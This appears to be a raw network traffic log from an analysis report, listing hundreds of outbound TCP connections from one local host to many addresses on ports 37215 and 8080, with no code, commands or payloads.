Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.4.146.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.145.155.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.108.168.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.152.135.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.124.175.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.157.217.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.113.213.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.96.207.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.66.243.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.42.237.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.9.166.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.198.201.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.20.140.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.42.41.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.243.121.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.36.126.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.6.238.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.100.233.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.156.68.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.167.196.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.10.84.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.121.191.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.82.97.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.201.77.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.127.127.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.108.150.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.253.92.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.77.98.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.195.27.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.132.53.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.82.88.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.224.85.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.88.65.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.189.252.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.19.203.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.166.173.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.156.180.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.172.124.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.246.184.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.155.30.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.125.56.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.251.160.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.78.37.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.8.60.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.142.33.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.102.153.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.192.243.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.48.111.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.49.238.56:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.238.110.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.111.44.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.79.231.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.247.15.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.188.178.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.57.103.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.94.246.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.74.216.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.212.96.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.240.43.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.130.164.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.235.111.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.235.127.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.92.112.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.35.25.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.114.238.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.153.49.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.182.112.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.84.167.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.112.75.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.206.128.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.4.135.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.87.114.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.255.193.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.106.86.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.185.242.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.210.66.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.255.206.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.41.190.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.19.123.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.87.148.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.49.63.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.104.191.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.208.49.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.213.19.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.80.23.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.127.16.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.113.117.1:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.6.25.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.25.167.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.134.140.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.20.44.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.29.175.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.174.53.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.121.77.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.58.86.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.67.228.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.31.150.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.175.26.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.171.230.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.212.106.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.62.39.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.218.1.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.108.194.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.177.234.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.131.69.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.93.93.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.167.54.44:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.235.221.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.161.100.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.132.195.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.59.32.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.198.113.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.235.197.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.190.138.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.171.205.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.166.63.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.177.244.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.207.66.68:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.73.48.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.116.107.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.238.51.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.13.42.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.130.195.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.63.124.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.39.168.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.18.48.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.177.93.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.96.93.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.4.15.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.209.43.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.246.139.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.197.209.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.221.116.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.78.118.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.58.238.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.251.197.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.58.208.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.255.251.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.217.165.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.198.143.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.250.162.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.112.30.14:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.70.153.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.229.191.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.174.172.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.125.85.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.46.108.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.214.68.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.171.58.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:48688 -> 197.45.198.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.123.87.105:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.198.177.106:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.184.189.238:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.86.50.67:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.104.214.184:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.181.47.43:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.83.177.115:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.104.207.60:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.221.126.139:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.223.28.24:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.148.161.6:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.174.43.114:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.17.70.6:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.53.62.205:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.252.137.34:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.169.254.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.113.91.99:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.54.86.105:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.200.213.43:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.79.48.123:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.110.125.66:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.209.104.221:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.186.40.228:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.161.211.163:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.167.30.62:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.154.198.234:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.235.160.187:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.45.17.214:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.189.116.239:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.121.79.170:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.122.146.91:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.89.22.64:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.1.91.212:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.114.78.201:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.253.139.141:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.145.176.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.53.129.132:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.122.107.211:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.210.198.96:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.183.120.250:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.193.119.49:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.242.182.134:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.55.111.107:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.0.234.62:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.51.245.41:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.185.92.24:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.81.205.32:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.73.1.125:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.87.208.104:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.7.15.125:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.139.31.196:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.170.84.140:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.243.244.97:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.179.189.134:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.6.139.139:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.205.52.64:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.147.32.231:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.146.135.251:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.252.195.179:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.92.66.66:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.109.106.104:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.23.57.62:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.187.203.139:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.254.24.246:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.252.173.58:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.88.46.78:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.56.155.80:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.219.199.216:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.22.103.126:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.252.236.234:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.204.145.12:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.94.151.117:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.184.184.64:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.220.135.32:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.48.61.58:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.30.156.144:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.52.18.101:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.39.12.21:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.66.112.48:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.235.57.57:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.191.59.75:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.71.128.255:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.235.51.199:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.32.238.244:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.74.73.89:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.60.12.204:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.113.216.45:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.254.151.13:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.142.38.142:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.117.68.243:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.9.57.237:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.85.21.199:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.180.181.118:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.241.242.227:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.110.149.183:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.61.124.53:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.232.176.41:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.77.142.164:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.128.195.49:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.182.235.113:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.248.64.105:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.81.155.252:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.200.32.104:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.109.230.108:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.111.150.82:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.110.208.123:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.88.173.142:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.143.27.52:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.79.133.93:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.155.19.253:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.161.9.153:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.145.49.218:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.18.224.137:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.30.50.199:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.147.189.236:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.134.4.105:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.16.135.91:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.42.15.241:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.163.175.71:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.147.125.123:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.72.147.2:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.160.198.75:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.203.39.114:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.195.155.237:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.73.107.74:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.156.20.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.192.100.185:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.157.213.91:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.135.195.100:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.140.119.75:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.26.227.199:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.81.208.183:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.41.177.92:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.86.61.82:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.160.102.4:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.179.153.135:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.169.203.166:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.104.110.58:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.166.62.34:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.168.114.239:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.41.162.218:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.217.69.243:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.183.59.94:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.63.189.155:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.205.236.174:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.104.171.17:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.4.39.223:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.252.67.94:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.74.166.226:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.56.10.56:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.41.22.149:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.99.54.202:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.78.14.56:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.134.19.86:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.101.34.197:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.67.157.201:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.229.205.12:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.212.176.15:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.180.38.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.238.106.69:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.60.32.156:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.87.244.44:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.121.213.18:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.224.180.254:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.105.198.120:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.39.99.231:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.108.135.200:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.186.248.168:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.250.36.92:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.108.161.254:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.101.125.235:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.16.82.207:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.161.87.108:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.171.51.155:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.212.37.244:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.138.106.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.82.158.231:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.48.33.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.98.14.154:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.159.94.202:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.210.173.201:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.16.230.131:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.146.74.243:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.12.118.114:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.243.80.67:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.60.241.80:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.79.32.73:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.190.228.127:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.121.185.102:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.76.236.60:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.216.167.97:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.60.34.224:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.68.25.119:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.189.12.186:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.213.90.82:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.75.27.16:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.29.25.81:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.35.243.141:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.21.142.169:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.48.87.205:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.171.21.228:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.213.32.170:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.185.98.103:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.204.50.175:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.206.22.12:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.254.244.12:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.58.230.9:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.111.51.200:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.120.85.153:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.31.12.203:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.210.73.190:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.178.51.73:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 98.22.161.144:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.125.172.213:8080
Source: global traffic	TCP traffic: 192.168.2.13:49712 -> 184.73.196.68:8080
